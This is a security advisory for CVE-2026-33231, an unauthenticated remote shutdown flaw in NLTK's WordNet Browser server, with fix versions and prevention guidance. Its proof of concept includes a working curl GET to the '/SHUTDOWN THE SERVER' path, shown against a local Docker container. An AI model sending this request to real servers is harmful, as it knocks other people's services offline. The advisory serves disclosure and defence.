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GHSA-jm6w-m3j8-898g CVE-2026-33231 PYSEC-2026-2236

Unauthenticated remote shutdown in nltk.app.wordnet_app

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
1.24%
Chance of exploitation in the next 30 days. Higher than 69.09% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-306 Missing Authentication for Critical Function
Fix
3.9.4
Upgrade nltk to this version or later

Description

Summary

nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.

Details

The vulnerable logic is in nltk/app/wordnet_app.py:

  • nltk/app/wordnet_app.py:242

    • The server listens on all interfaces:
    • server = HTTPServer(("", port), MyServerHandler)
  • nltk/app/wordnet_app.py:87

    • Incoming requests are checked for the exact path:
    • if unquote_plus(sp) == "SHUTDOWN THE SERVER":
  • nltk/app/wordnet_app.py:88

    • The shutdown protection only depends on server_mode
  • nltk/app/wordnet_app.py:93

    • In the default mode (runBrowser=True, therefore server_mode=False), the handler terminates the process directly:
    • os._exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC

  1. Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
  nltk-sandbox \
  python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
  1. Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'

Observed result:

200
  1. Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

000
  1. Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest

Observed results:

000
nltk-wordnet-web-default-retest    Exited (0)
Server shutting down!

Impact

This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

  • the route is accessible over HTTP
  • no authentication or CSRF-style confirmation is required
  • the server listens on all interfaces by default
  • the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.

Affected versions

PyPI

PackageVulnerableFixed in
nltk
< 3.9.4
3.9.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.9.4

pip
pip install --upgrade "nltk>=3.9.4"
poetry
poetry add "nltk>=3.9.4"
uv
uv add "nltk>=3.9.4"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
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